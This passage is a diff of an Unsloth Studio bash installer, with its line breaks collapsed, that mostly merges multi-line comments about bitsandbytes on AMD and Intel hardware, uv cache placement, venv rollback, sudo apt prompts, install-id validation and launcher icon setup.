>> "$1"; else cat; fireturn@@ -321,23 +292,13 @@ run_install_cmd_retry() {done}-# True when the runtime target is gfx906 (MI50/Radeon VII): the prebuilt AMD-# bitsandbytes wheel carries no gfx906 kernels, and force-reinstalling it would-# clobber a user's source-built bnb (the only 4-bit path on this arch) on every-# `studio update`. So skip the auto-install and leave whatever bnb is present.-# _gfx906_target is set during torch-index resolution; also honor an explicit-# UNSLOTH_ROCM_GFX_ARCH so a pinned-index install still skips. The override is-# normalized (gfx906:sramecc-:xnack- -> gfx906) so a copied HIP gcnArchName counts.+# True when the runtime target is gfx906 (MI50/Radeon VII): the prebuilt AMD bitsandbytes wheel carries no gfx906 kernels, and force-reinstalling it would clobber a user's source-built bnb, the only 4-bit path on this arch, on every `studio update`. _gfx906_target is set during torch-index resolution; an explicit UNSLOTH_ROCM_GFX_ARCH is honored too so a pinned-index install still skips, normalized (gfx906:sramecc-:xnack- to gfx906) so a copied HIP gcnArchName counts._is_gfx906_bnb_skip() {[ "${_gfx906_target:-false}" = true ] && return 0_bnb_gfx_env=$(printf '%s' "${UNSLOTH_ROCM_GFX_ARCH:-}" | tr '[:upper:]' '[:lower:]' | tr -d '[:space:]')_bnb_gfx_env=${_bnb_gfx_env%%:*}[ "$_bnb_gfx_env" = "gfx906" ] && return 0- # A pinned index (UNSLOTH_TORCH_INDEX_URL/_FAMILY) skips the reroute block that- # sets _gfx906_target, so a real gfx906 host with a pinned rocm6.3 index and no- # UNSLOTH_ROCM_GFX_ARCH would otherwise clobber a source-built bnb. Probe here- # in that gap; skip only when gfx906 is the SOLE distinct arch (mixed hosts- # opt in via the env var, mirroring the reroute block's de-dup rule).+ # A pinned index (UNSLOTH_TORCH_INDEX_URL/_FAMILY) skips the reroute block that sets _gfx906_target, so a real gfx906 host with a pinned rocm6.3 index and no UNSLOTH_ROCM_GFX_ARCH would otherwise clobber a source-built bnb. Probe here in that gap; skip only when gfx906 is the SOLE distinct arch, mirroring the reroute block's de-dup rule.if [ -z "$_bnb_gfx_env" ] && [ "${_torch_index_pinned:-false}" = true ]; then_bnb_gfx_probe=$(_probe_amd_gfx_arch | awk 'NF && !seen[$0]++')[ "$_bnb_gfx_probe" = "gfx906" ] && return 0@@ -345,10 +306,7 @@ _is_gfx906_bnb_skip() {return 1}-# `pip install unsloth` resolves its unconditional bitsandbytes dep to a generic-# CUDA wheel (no gfx906 kernels) once we skip the prebuilt one. Snapshot bnb before-# the unsloth install, then drop a freshly pulled wheel afterwards while leaving a-# pre-existing source build in place.+# `pip install unsloth` resolves its unconditional bitsandbytes dep to a generic CUDA wheel (no gfx906 kernels) once we skip the prebuilt one. Snapshot bnb before the unsloth install, then drop a freshly pulled wheel afterwards while leaving a pre-existing source build in place._gfx906_bnb_installed() {"$_VENV_PY" -c "import importlib.util as u, sys; sys.exit(0 if u.find_spec('bitsandbytes') else 1)" >/dev/null 2>&1}@@ -366,18 +324,11 @@ _gfx906_bnb_prune() {|| "$_VENV_PY" -m pip uninstall -y bitsandbytes >/dev/null 2>&1 || true}-# Install bitsandbytes on AMD ROCm hosts. bnb <= 0.49.2 NaNs at 4-bit decode-# shape on every AMD GPU; the fix (bnb #1887) ships in continuous-release_main-# and, on PyPI, first in 0.50.0. Keep this floor in step with the amd extra in-# pyproject.toml and studio/install_python_stack.py.+# Install bitsandbytes on AMD ROCm hosts. bnb <= 0.49.2 NaNs at 4-bit decode shape on every AMD GPU; the fix (bnb #1887) ships in continuous-release_main and, on PyPI, first in 0.50.0. Keep this floor in step with the amd extra in pyproject.toml and studio/install_python_stack.py._BNB_ROCM_PYPI_FALLBACK="bitsandbytes>=0.50.0"-# Intel XPU: separate constant, same floor by coincidence. 0.50.0 manylinux is the first with-# libbitsandbytes_xpu2025.so / _xpu2026.so; studio/setup.ps1's XPU pass uses the same floor.+# Intel XPU: separate constant, same floor by coincidence. 0.50.0 manylinux is the first with libbitsandbytes_xpu2025.so / _xpu2026.so; studio/setup.ps1's XPU pass uses the same floor._BNB_XPU_SPEC="bitsandbytes>=0.50.0"-# bitsandbytes ships no ROCm binary in its aarch64 wheel at any version: the PyPI-# 0.50.0 and continuous-release_main aarch64 wheels both carry only-# libbitsandbytes_cpu.so plus CUDA variants. So neither install path below gives-# aarch64 a 4-bit backend, and the messages must not claim one. Cf. gfx906.+# bitsandbytes ships no ROCm binary in its aarch64 wheel at any version: the PyPI 0.50.0 and continuous-release_main aarch64 wheels both carry only libbitsandbytes_cpu.so plus CUDA variants. So neither install path below gives aarch64 a 4-bit backend, and the messages must not claim one._bnb_rocm_arch_has_binary() {case "$_ARCH" inaarch64|arm64) return 1 ;;@@ -402,8 +353,7 @@ _install_bnb_rocm() {_bnb_whl_url="";;esac- # uv rejects the pre-release wheel: filename version (1.33.7rc0) does not- # match metadata (0.50.x.dev0). pip accepts it, so bootstrap pip and use it.+ # uv rejects the pre-release wheel: filename version (1.33.7rc0) does not match metadata (0.50.x.dev0). pip accepts it, so bootstrap pip and use it.if ! "$_venv_py" -m pip --version >/dev/null 2>&1; thenif ! run_maybe_quiet "$_venv_py" -m ensurepip --upgrade; thenrun_maybe_quiet uv pip install --python "$_venv_py" pip || \@@ -619,14 +569,7 @@ _resolve_studio_destinations() {_STUDIO_HOME_REDIRECT=default}-# Records which cache this install used, so an update reuses it rather than guessing: the-# launch below repoints the backend at the Studio cache even in shared mode, so one-# on-demand install makes an empty Studio cache look full. Never fatal.-# A relative UV_CACHE_DIR names a different directory in each phase of one install: uv-# resolves it against its working directory, and setup.sh changes into its own before the-# dependency pass (studio/setup.sh:1788). Absolute once, here, so both phases and the-# marker agree. The base is uv's working directory, which --directory / UV_WORKING_DIR-# moves, and which may itself be relative to where the installer was run.+# Records which cache this install used, so an update reuses it rather than guessing: the launch below repoints the backend at the Studio cache even in shared mode, so one on-demand install makes an empty Studio cache look full. Never fatal. A relative UV_CACHE_DIR names a different directory in each phase of one install, since uv resolves it against its working directory and setup.sh changes into its own before the dependency pass, so make it absolute once, here._absolutize_uv_cache_dir() {case "$UV_CACHE_DIR" in/*) return 0 ;;@@ -640,8 +583,7 @@ _absolutize_uv_cache_dir() {}_record_uv_cache_choice() {- # In place, before anything reads it: every branch records, so this is the one point- # every phase of the install and the marker are made to agree on one directory.+ # In place, before anything reads it: every branch records, so this is the one point every phase of the install and the marker are made to agree on one directory._absolutize_uv_cache_dir_uv_marker_dir="$STUDIO_HOME/cache"_uv_marker_file="$_uv_marker_dir/uv-cache-dir"@@ -702,9 +644,7 @@ _configure_uv_cache() {return 0fi- # Ask uv so uv.toml / UV_CONFIG_FILE / platform defaults count; -u so a blank- # inherited value cannot override them; last line so a notice ahead of the path- # does not become the path.+ # Ask uv so uv.toml / UV_CONFIG_FILE / platform defaults count; -u so a blank inherited value cannot override them; last line so a notice ahead of the path does not become the path._uv_default_cache=$(env -u UV_CACHE_DIR uv cache dir 2>/dev/null \| sed -e 's/[[:space:]]*$//' -e '/^$/d' | tail -n 1) || _uv_default_cache=""if [ -z "$_uv_default_cache" ]; then@@ -718,8 +658,7 @@ _configure_uv_cache() {_uv_default_populated=false_uv_scan_blocked=falseif [ -n "$_uv_default_cache" ] && [ -d "$_uv_default_cache" ] && [ -r "$_uv_default_cache" ]; then- # Warm means package BYTES: wheels-* is metadata only (.msgpack/.http on uv- # 0.10), so a bare `--dry-run` used to read as warm. -L to match Get-ChildItem.+ # Warm means package BYTES: wheels-* is metadata only (.msgpack/.http on uv 0.10), so a bare `--dry-run` used to read as warm. -L to match Get-ChildItem.for _uv_bucket in \"$_uv_default_cache"/archive-* \"$_uv_default_cache"/builds-* \@@ -773,11 +712,7 @@ _prepare_studio_uv_cache_for_launch() {export UV_CACHE_DIR}_resolve_studio_destinations-# The PATH we inherited, before anything below prepends to it. The shim setup at the end asks-# whether a NEW login shell will find _LOCAL_BIN, and by then this process has prepended it-# several times (uv bootstrap, venv), so testing $PATH there answers yes for a shell that would-# answer no and the profile entry never gets written. astral's installer used to write that line-# for us; the pinned path does not.+# The PATH we inherited, before anything below prepends to it. The shim setup at the end asks whether a NEW login shell will find _LOCAL_BIN, and by then this process has prepended it several times (uv bootstrap, venv), so testing $PATH there answers yes for a shell that would answer no and the profile entry never gets written. astral's installer used to write that line for us; the pinned path does not._UNSLOTH_LOGIN_PATH="$PATH"VENV_DIR="$STUDIO_HOME/unsloth_studio"@@ -835,16 +770,11 @@ _claim_studio_root() {_claim_studio_root# Keep uv's cache on the same filesystem as the venv it fills.-# uv hardlinks wheels within one filesystem and copies across a boundary, so a moved-# STUDIO_HOME paid double the disk and stranded the cache. An explicit UV_CACHE_DIR wins.-# The fallback is required, since uv aborts on a cache it cannot create. mkdir -p exits 0 for-# an existing unwritable directory and -w reads the mode rather than the filesystem, so probe-# with a real create.+# uv hardlinks wheels within one filesystem and copies across a boundary, so a moved STUDIO_HOME paid double the disk and stranded the cache. An explicit UV_CACHE_DIR wins. The fallback is required, since uv aborts on a cache it cannot create; mkdir -p exits 0 for an existing unwritable directory and -w reads the mode rather than the filesystem, so probe with a real create.if [ -z "${UV_CACHE_DIR:-}" ]; thenUV_CACHE_DIR="$STUDIO_HOME/cache/uv"export UV_CACHE_DIR- # mktemp, not a $$ name: a predictable path in another account's directory can be- # pre-created as a symlink for `: >` to follow and truncate as root.+ # mktemp, not a $$ name: a predictable path in another account's directory can be pre-created as a symlink for `: >` to follow and truncate as root._uv_cache_probe=""if ! mkdir -p "$UV_CACHE_DIR" 2>/dev/null \|| ! _uv_cache_probe=$(mktemp "$UV_CACHE_DIR/.unsloth-write-probe.XXXXXX" 2>/dev/null); then@@ -862,8 +792,7 @@ _VENV_ROLLBACK_ACTIVE=false_UV_MARKER_SAVED=false_UV_MARKER_EXISTED=false_UV_MARKER_PREVIOUS=""-# One flag for both rollbacks: two leave a window either way round, where a signal-# restores half a committed install.+# One flag for both rollbacks: two leave a window either way round, where a signal restores half a committed install._STUDIO_INSTALL_COMMITTED=false_start_studio_venv_replacement() {@@ -878,8 +807,7 @@ _start_studio_venv_replacement() {_VENV_ROLLBACK_DIR="$_candidate"_VENV_ROLLBACK_TARGET="$_existing_dir"_VENV_ROLLBACK_ACTIVE=true- # Publish the rollback state before the atomic rename so a signal cannot- # land after mv but before the exit handlers know where the old venv went.+ # Publish the rollback state before the atomic rename so a signal cannot land after mv but before the exit handlers know where the old venv went.if ! mv "$_existing_dir" "$_candidate"; then_VENV_ROLLBACK_ACTIVE=false_VENV_ROLLBACK_DIR=""@@ -888,22 +816,16 @@ _start_studio_venv_replacement() {substep "previous environment preserved for rollback"}-# uv creates only into a path that is absent or an empty directory. Everything-# else is occupied, hidden entries and non-resolving symlinks included.+# uv creates only into a path that is absent or an empty directory. Everything else is occupied, hidden entries and non-resolving symlinks included._dir_has_entries() { # dirif [ ! -d "$1" ]; then- # Still an existing path to mkdir(2), which answers EEXIST for a file or- # for a symlink "dangling or not", so uv refuses it too. -d follows the- # link and -e misses a dangling one, hence the -L.+ # Still an existing path to mkdir(2), which answers EEXIST for a file or for a symlink "dangling or not", so uv refuses it too. -d follows the link and -e misses a dangling one, hence the -L.{ [ -e "$1" ] || [ -L "$1" ]; } && return 0return 1fi- # Not enumerable: the globs cannot expand without read, and the tests below- # fail on every name without search, so it would read as empty. Fail closed- # like install.ps1's catch; the rename only needs write on the parent.+ # Not enumerable: the globs cannot expand without read, and the tests below fail on every name without search, so it would read as empty. Fail closed like install.ps1's catch; the rename only needs write on the parent.{ [ -r "$1" ] && [ -x "$1" ]; } || return 0- # The globs are the whole check, so a caller's set -f would make every- # directory look empty. Mirrors _path_has_dir, which saves the flag too.+ # The globs are the whole check, so a caller's set -f would make every directory look empty. Mirrors _path_has_dir, which saves the flag too._dhe_glob=oncase $- in *f*) _dhe_glob=off ;; esacset +f@@ -918,15 +840,7 @@ _dir_has_entries() { # dirreturn "$_dhe_found"}-# Clear $VENV_DIR for a recreate without ever destroying the only copy. The-# legacy-layout migration below moves $STUDIO_HOME/.venv straight into $VENV_DIR-# without going through _start_studio_venv_replacement, so a plain `rm -rf` there-# is unrecoverable: if the `uv venv` that follows cannot resolve an interpreter-# (offline, or a uv whose managed-Python manifest predates the patch being asked-# for) the user is left with no environment at all. Move it aside instead and let-# the exit/signal traps put it back. When a replacement is already in flight the-# rollback copy holds the user's real environment and $VENV_DIR is this run's own-# work, so plain removal stays correct.+# Clear $VENV_DIR for a recreate without ever destroying the only copy. The legacy-layout migration below moves $STUDIO_HOME/.venv straight into $VENV_DIR without going through _start_studio_venv_replacement, so a plain `rm -rf` there is unrecoverable: if the `uv venv` that follows cannot resolve an interpreter the user is left with no environment at all. Move it aside instead and let the exit/signal traps put it back. When a replacement is already in flight the rollback copy holds the user's real environment and $VENV_DIR is this run's own work, so plain removal stays correct._discard_venv_for_recreate() { # venv dirif [ "$_VENV_ROLLBACK_ACTIVE" != true ] && [ -d "$1" ] \&& _start_studio_venv_replacement "$1"; then@@ -939,8 +853,7 @@ _restore_studio_venv_replacement() {# The flag the marker restore consults too, so a signal mid-commit cannot split them.[ "${_STUDIO_INSTALL_COMMITTED:-false}" = true ] && return 0[ "$_VENV_ROLLBACK_ACTIVE" = true ] || return 0- # -e/-L, not -d: a rollback holds whatever _dir_has_entries called occupied,- # and -d would drop a file or a dangling link and strand the original.+ # -e/-L, not -d: a rollback holds whatever _dir_has_entries called occupied, and -d would drop a file or a dangling link and strand the original.[ -n "$_VENV_ROLLBACK_DIR" ] \&& { [ -e "$_VENV_ROLLBACK_DIR" ] || [ -L "$_VENV_ROLLBACK_DIR" ]; } || {_VENV_ROLLBACK_ACTIVE=false@@ -987,8 +900,7 @@ _prune_stale_studio_venv_rollbacks() {echo "⚠️ Refusing to remove rollback symlink $_stale_rollback" >&2continuefi- # A concurrent installer may have moved its live venv aside. The PID in- # the generated name keeps this successful run from deleting its rescue copy.+ # A concurrent installer may have moved its live venv aside. The PID in the generated name keeps this successful run from deleting its rescue copy._studio_venv_rollback_must_be_preserved "$_stale_rollback" && continueif rm -rf "$_stale_rollback"; thensubstep "removed stale environment rollback ${_stale_rollback##*/}"@@ -999,14 +911,12 @@ _prune_stale_studio_venv_rollbacks() {}_commit_studio_venv_replacement() {- # First and alone, because a signal can land between any two statements. A first- # install rolls nothing back and still commits.+ # First and alone, because a signal can land between any two statements. A first install rolls nothing back and still commits._STUDIO_INSTALL_COMMITTED=true_UV_MARKER_SAVED=falseif [ "$_VENV_ROLLBACK_ACTIVE" = true ]; then_rollback_to_remove="$_VENV_ROLLBACK_DIR"- # The new environment is already committed. Clear the restore state- # before deletion so an interrupt cannot replace it with a half-deleted backup.+ # The new environment is already committed. Clear the restore state before deletion so an interrupt cannot replace it with a half-deleted backup._VENV_ROLLBACK_ACTIVE=false_VENV_ROLLBACK_DIR=""# Same shapes as the restore, or such a backup is never cleaned up.@@ -1017,8 +927,7 @@ _commit_studio_venv_replacement() {fififi- # Only prune older orphaned copies after the replacement has succeeded, so- # an interrupted install never discards the last known-good environment.+ # Only prune older orphaned copies after the replacement has succeeded, so an interrupted install never discards the last known-good environment._prune_stale_studio_venv_rollbacks}@@ -1027,8 +936,7 @@ _cleanup_install_temporaries() {[ -n "${_UV_INSTALL_NAME_TOOL_SHIM_DIR:-}" ] && rm -rf "$_UV_INSTALL_NAME_TOOL_SHIM_DIR" 2>/dev/null || true[ -n "${_UV_VENV_CAPTURE_DIR:-}" ] && rm -rf "$_UV_VENV_CAPTURE_DIR" 2>/dev/null || true[ -n "${_UNSLOTH_TORCH_OVERRIDES:-}" ] && rm -f "$_UNSLOTH_TORCH_OVERRIDES" 2>/dev/null || true- # The pinned uv path's own cleanup only runs when that function returns, so a Ctrl-C left- # the unpacked archive behind plus a staging file inside a directory that is on PATH.+ # The pinned uv path's own cleanup only runs when that function returns, so a Ctrl-C left the unpacked archive behind plus a staging file inside a directory that is on PATH.[ -n "${_UIP_WORK:-}" ] && rm -rf "$_UIP_WORK" 2>/dev/null || true[ -n "${_UIP_STAGE:-}" ] && rm -f "$_UIP_STAGE" 2>/dev/null || true[ -n "${_UIP_STAGE2:-}" ] && rm -f "$_UIP_STAGE2" 2>/dev/null || true@@ -1048,8 +956,7 @@ _on_install_exit() {_on_install_signal() {_signal_status="$1"- # EXIT is disabled to avoid a second cleanup pass. Ignore further termination- # signals until the old environment is back in place.+ # EXIT is disabled to avoid a second cleanup pass. Ignore further termination signals until the old environment is back in place.trap - EXITtrap '' HUP INT TERM_restore_studio_venv_replacement@@ -1097,11 +1004,9 @@ _is_pkg_installed() {}# ── Helper: human-readable apt distro label for the sudo package prompt (#6207) ──-# Reads /etc/os-release so the Accept? prompt can say which distro we detected and-# that packages come from that distro's official apt repos (not a tarball).+# Reads /etc/os-release so the Accept? prompt can say which distro we detected and that packages come from that distro's official apt repos, not a tarball._apt_distro_description() {- # Plain ( ... ) subshell — not $() — so case/;; stays bash-3.2-safe on macOS.- # Bash 3.2 misparses case arms inside command substitution and errors on `;;`.+ # Plain ( ... ) subshell, not $(), so case/;; stays bash-3.2-safe on macOS: bash 3.2 misparses case arms inside command substitution and errors on `;;`.(if [ ! -r /etc/os-release ]; thenprintf 'a debian-like system'@@ -1127,10 +1032,7 @@ _apt_distro_description() {}# ── Helper: can the controlling terminal actually be opened for reading? ──-# `test -r` only checks permission bits, which look fine in containers and-# systemd units where open() then fails with ENXIO. Probe with a real open.-# The subshell is required: in dash a failed redirection on the special-# builtin `:` exits the whole script.+# `test -r` only checks permission bits, which look fine in containers and systemd units where open() then fails with ENXIO, so probe with a real open. The subshell is required: in dash a failed redirection on the special builtin `:` exits the whole script._can_read_tty() {( : </dev/tty ) >/dev/null 2>&1}@@ -1157,11 +1059,7 @@ _smart_apt_install() {return 0fi- # Optional callers never elevate, in any mode: nothing on the consumer path- # builds anything, so neither the terminal sudo prompt below nor the Tauri- # NEED_SUDO dialog (whose Cancel leaves the user not installed) may gate the- # run over unused tools. The caller falls through to prebuilt llama.cpp.- # Required packages such as curl still escalate.+ # Optional callers never elevate, in any mode: nothing on the consumer path builds anything, so neither the terminal sudo prompt below nor the Tauri NEED_SUDO dialog (whose Cancel leaves the user not installed) may gate the run over unused tools. The caller falls through to prebuilt llama.cpp. Required packages such as curl still escalate.if [ "${_SMART_APT_OPTIONAL:-false}" = true ]; thenreturn 2fi@@ -1186,9 +1084,7 @@ _smart_apt_install() {echo ""if _can_read_tty; thenprintf " Accept? [Y/n] "- # The device opened, so a failed read is EOF, not consent: decline,- # as the autostart prompt below does. Enter is still yes (a- # successful read of an empty line).+ # The device opened, so a failed read is EOF, not consent: decline, as the autostart prompt below does. Enter is still yes (a successful read of an empty line).read -r REPLY </dev/tty || REPLY="n"case "$REPLY" in[nN]*)@@ -1198,9 +1094,7 @@ _smart_apt_install() {exit 1;;esac- # Mirror the headless branch: on a sudoers denial, a wrong password- # or an apt error, say what to run by hand instead of letting set -e- # abort on a bare sudo/apt message.+ # Mirror the headless branch: on a sudoers denial, a wrong password or an apt error, say what to run by hand instead of letting set -e abort on a bare sudo/apt message.if sudo apt-get update -y </dev/null &&sudo apt-get install -y $_STILL_MISSING </dev/null; then:@@ -1213,14 +1107,7 @@ _smart_apt_install() {exit 1fielse- # Nobody can answer a prompt or type a password here. -n makes sudo- # refuse rather than prompt into a closed stdin, which is how #7307- # died. Probe with the real commands: `sudo -l` answers whether they- # are *authorized*, not whether running them needs authentication.- # -k ignores any cached timestamp, so only a real NOPASSWD rule gets- # through, not someone's sudo in another shell minutes ago. Per- # sudo(8), -k alongside a command ignores the cached credentials and- # "will not update" them, so other sessions keep theirs.+ # Nobody can answer a prompt or type a password here. -n makes sudo refuse rather than prompt into a closed stdin, which is how #7307 died. Probe with the real commands: `sudo -l` answers whether they are AUTHORIZED, not whether running them needs authentication. -k ignores any cached timestamp, so only a real NOPASSWD rule gets through; per sudo(8), -k alongside a command ignores the cached credentials and "will not update" them, so other sessions keep theirs.echo " No terminal to confirm on; trying passwordless sudo."if sudo -n -k apt-get update -y </dev/null &&sudo -n -k apt-get install -y $_STILL_MISSING </dev/null; then@@ -1229,10 +1116,7 @@ _smart_apt_install() {echo ""echo " Could not install these packages: $_STILL_MISSING"echo " Detected ${_ad_desc}."- # Either sudo refused, or apt failed on a bad repo, dpkg lock or- # network outage. sudo exits 1 on an auth/config problem and- # when the command cannot be executed, but otherwise passes the- # command's own status through, so state both causes.+ # Either sudo refused, or apt failed on a bad repo, dpkg lock or network outage. sudo exits 1 on an auth/config problem and when the command cannot be executed, but otherwise passes the command's own status through, so state both causes.echo " Either sudo needs a password here, or apt-get itself"echo " failed; see the error above. With no terminal to"echo " authenticate on, this cannot be done unattended."@@ -1251,12 +1135,7 @@ _smart_apt_install() {}# ── Helper: the studio_install_id contract ──-# 64 lowercase hex, as in the backend (_STUDIO_INSTALL_ID_RE) and the desktop-# app (is_valid_studio_root_id). Nothing else is an id: no backend reports it,-# and the launcher holds it in a single-quoted assignment, so a planted value-# with a quote in it would be launcher code.-# Subshell bodies scope LC_ALL=C to the check: the classes below must mean the-# same bytes in any inherited locale, and the contract is pure ASCII.+# 64 lowercase hex, as in the backend (_STUDIO_INSTALL_ID_RE) and the desktop app (is_valid_studio_root_id). Nothing else is an id: no backend reports it, and the launcher holds it in a single-quoted assignment, so a planted value with a quote in it would be launcher code. Subshell bodies scope LC_ALL=C to the check: the classes below must mean the same bytes in any inherited locale._css_install_id_is_valid() (LC_ALL=Cexport LC_ALL@@ -1266,33 +1145,21 @@ _css_install_id_is_valid() ([ "${#1}" -eq 64 ])-# Echoes the id at $1 when it satisfies the contract, nothing otherwise.-# Returns 1 when the path could not be READ, a different answer: a failed read-# may still be sitting on a valid id.+# Echoes the id at $1 when it satisfies the contract, nothing otherwise. Returns 1 when the path could not be READ, a different answer: a failed read may still be sitting on a valid id._css_read_valid_install_id() (LC_ALL=Cexport LC_ALL- # Regular files only: a FIFO here (or a symlink to one, or to a device)- # would park the installer on the open, waiting for a writer forever.+ # Regular files only: a FIFO here (or a symlink to one, or to a device) would park the installer on the open, waiting for a writer forever.[ -f "$1" ] || return 0- # -s answers "no id" from stat, without a read, so an empty file we also- # cannot read is replaced as it was pre-validation instead of failing the- # install. A real id is 64 bytes and never reaches this.+ # -s answers "no id" from stat, without a read, so an empty file we also cannot read is replaced as it was pre-validation instead of failing the install. A real id is 64 bytes and never reaches this.[ -s "$1" ] || return 0- # A NUL cannot live in a shell variable, so command substitution drops it- # and <32 hex>\0<32 hex> would read back valid while the backend, which- # keeps the byte, reports "". Catch it by mapping NULs to a real character.+ # A NUL cannot live in a shell variable, so command substitution drops it and <32 hex>\\0<32 hex> would read back valid while the backend, which keeps the byte, reports "". Catch it by mapping NULs to a real character.if [ -n "$({ tr -dc '\000' < "$1" | tr '\000' 'N'; } 2>/dev/null)" ]; thenreturn 0fi- # Group the redirect, or the shell's own "cannot open" escapes 2>/dev/null.- # A failed read is reported, never flattened into "no id": permissions or a- # transient NFS/FUSE fault must not license a rewrite.+ # Group the redirect, or the shell's own "cannot open" escapes 2>/dev/null. A failed read is reported, never flattened into "no id": permissions or a transient NFS/FUSE fault must not license a rewrite._cvi_id=$({ cat "$1"; } 2>/dev/null) || return 1- # Trim what the backend's .strip() trims, SURROUNDING whitespace only.- # Deleting interior whitespace would mint a 64-hex token out of bytes the- # backend reads otherwise, leaving the launcher holding an id it never- # reports.+ # Trim what the backend's .strip() trims, SURROUNDING whitespace only. Deleting interior whitespace would mint a 64-hex token out of bytes the backend reads otherwise, leaving the launcher holding an id it never reports._cvi_id=${_cvi_id#"${_cvi_id%%[![:space:]]*}"}_cvi_id=${_cvi_id%"${_cvi_id##*[![:space:]]}"}if _css_install_id_is_valid "$_cvi_id"; then@@ -1326,12 +1193,7 @@ create_studio_shortcuts() {_css_id_dir="$STUDIO_HOME/share"mkdir -p "$_css_id_dir"_css_id_file="$_css_id_dir/studio_install_id"- # Reuse an existing id only when it matches the contract above: a re-run- # over a normal install is then a no-op, and a pre-populated custom root- # cannot reach the launcher.- # Unreadable is not malformed: in a shared root the id can be a good one- # owned by someone else and already reported by a running backend, so- # regenerating would break that install. Refuse, as this did pre-validation.+ # Reuse an existing id only when it matches the contract above, so a re-run over a normal install is a no-op and a pre-populated custom root cannot reach the launcher. Unreadable is not malformed: in a shared root the id can be a good one owned by someone else and already reported by a running backend, so regenerating would break that install.if ! _css_studio_root_id=$(_css_read_valid_install_id "$_css_id_file"); thenecho "[WARN] Cannot create launcher: cannot read $_css_id_file" >&2return 1@@ -1347,20 +1209,11 @@ create_studio_shortcuts() {echo "[WARN] Cannot create launcher: no entropy source for studio_install_id" >&2return 1fi- # Publish no-clobber: the desktop app mints this same id, so a plain mv- # could replace one a running backend already reported. ln fails with- # EEXIST instead and we adopt the winner; its lock is not shareable- # portably (no flock(1) on macOS). The id is in the temp name because- # $$ is the parent's pid inside a subshell in some shells.+ # Publish no-clobber: the desktop app mints this same id, so a plain mv could replace one a running backend already reported. ln fails with EEXIST instead and we adopt the winner; its lock is not shareable portably (no flock(1) on macOS). The id is in the temp name because $$ is the parent's pid inside a subshell in some shells._css_id_tmp="$_css_id_file.$$.$(printf '%.8s' "$_css_new_id").tmp"if printf '%s' "$_css_new_id" > "$_css_id_tmp"; thenif ! ln "$_css_id_tmp" "$_css_id_file" 2>/dev/null; then- # A usable incumbent wins, but only a valid one: zero-length- # or malformed is an interrupted write or a planted value, so- # replace it with one rename (no unlink, the path never- # vanishes). Also covers filesystems without hard links- # (exFAT/FAT32). -d because renaming onto a directory moves- # the temp inside it instead of replacing it.+ # A usable incumbent wins, but only a valid one: zero-length or malformed is an interrupted write or a planted value, so replace it with one rename (no unlink, the path never vanishes). Also covers filesystems without hard links (exFAT/FAT32). -d because renaming onto a directory moves the temp inside it instead of replacing it.if _css_incumbent=$(_css_read_valid_install_id "$_css_id_file") \&& [ -z "$_css_incumbent" ] && [ ! -d "$_css_id_file" ]; thenmv "$_css_id_tmp" "$_css_id_file" 2>/dev/null || true@@ -1371,9 +1224,7 @@ create_studio_shortcuts() {if [ -f "$_css_id_file" ]; thenchmod 600 "$_css_id_file" 2>/dev/null || truefi- # Bake what is on disk, not what we meant to write: that is what the- # backend reports from /api/health, whoever won the race. An unwritable- # or non-regular path leaves this empty and no launcher is generated.+ # Bake what is on disk, not what we meant to write: that is what the backend reports from /api/health, whoever won the race. An unwritable or non-regular path leaves this empty and no launcher is generated._css_studio_root_id=$(_css_read_valid_install_id "$_css_id_file") || trueunset _css_new_id _css_id_tmp _css_incumbentfi@@ -1798,12 +1649,7 @@ LAUNCHER_EOF# Try to find rounded-512.png from installed package (site-packages) or local repo_css_found_icon=""_css_venv_dir=$(dirname "$(dirname "$_css_exe")")- # Check site-packages. `studio` is a top-level package in the wheel (see- # top_level.txt), not a subpackage of `unsloth`, so the old- # site-packages/unsloth/studio/... glob never matched and every install fell- # through to the network download below. Read it out of frontend/dist rather- # than frontend/public: Vite copies public/ into dist/ at build time, so the- # file is in both in a checkout, but only dist/ ships in the wheel.+ # Check site-packages. `studio` is a top-level package in the wheel (see top_level.txt), not a subpackage of `unsloth`, so the old site-packages/unsloth/studio/... glob never matched and every install fell through to the network download below. Read it out of frontend/dist rather than frontend/public: Vite copies public/ into dist/ at build time, so the file is in both in a checkout, but only dist/ ships in the wheel.for _sp in "$_css_venv_dir"/lib/python*/site-packages/studio/frontend/dist; doif [ -f "$_sp/rounded-512.png" ]; then_css_found_icon="$_sp/rounded-512.png"@@ -1836,10 +1682,7 @@ LAUNCHER_EOFrm -f "$_css_gem_png"fi- # Also try to find the pre-built Tauri icon.icns (1024×1024, professionally- # built with all required sizes). Prefer it over the sips-generated icon- # for the macOS .app bundle — it ships in the pip package at- # studio/src-tauri/icons/icon.icns and is higher quality with @2x variants.+ # Prefer the pre-built Tauri icon.icns (1024x1024, all required sizes, @2x variants) over the sips-generated icon for the macOS .app bundle; it ships in the pip package at studio/src-tauri/icons/icon.icns._css_tauri_icns=""for _sp in "$_css_venv_dir"/lib/python*/site-packages/studio/src-tauri/icons; doif [ -f "$_sp/icon.icns" ]; then@@ -1850,8 +1693,7 @@ LAUNCHER_EOF_css_tauri_icns="$_css_script_dir/studio/src-tauri/icons/icon.icns"fi- # Also look for the higher-resolution Tauri icon.png (1024×1024) for- # the Linux .desktop icon — better than the 512px rounded variant.+ # The higher-resolution Tauri icon.png (1024x1024) for the Linux .desktop icon, better than the 512px rounded variant._css_tauri_png=""for _sp in "$_css_venv_dir"/lib/python*/site-packages/studio/src-tauri/icons; doif [ -f "$_sp/icon.png" ]; then@@ -1879,8 +1721,7 @@ LAUNCHER_EOF_css_desktop="$_css_app_dir/unsloth-studio.desktop"# Escape backslashes and double-quotes for .desktop Exec= field_css_exec_escaped=$(printf '%s' "$_css_launcher" | sed 's/\\/\\\\/g; s/"/\\"/g')- # Prefer the higher-resolution Tauri icon.png, but persist it under the- # installed data directory so local-checkout shortcuts survive repo moves.+ # Prefer the higher-resolution Tauri icon.png, but persist it under the installed data directory so local-checkout shortcuts survive repo moves._css_desktop_icon="$_css_icon_png"if [ -f "$_css_tauri_png" ]; then_css_desktop_icon_tmp="${_css_icon_png}.tmp"@@ -1937,8 +1778,7 @@ DESKTOP_EOFecho "[ERROR] $_css_app exists but is not a directory; remove manually and re-run install" >&2return 1fi- # Older installs linked the Desktop shortcut with `ln -sf`, which followed the- # existing link and planted a self-referential copy one level inside the bundle.+ # Older installs linked the Desktop shortcut with `ln -sf`, which followed the existing link and planted a self-referential copy one level inside the bundle.if [ -L "$_css_app/Unsloth Studio.app" ]; thenrm -f "$_css_app/Unsloth Studio.app" 2>/dev/null || truefi@@ -1986,10 +1826,8 @@ STUB_EOF&& mv "$_css_macos_dir/launch-studio.tmp" 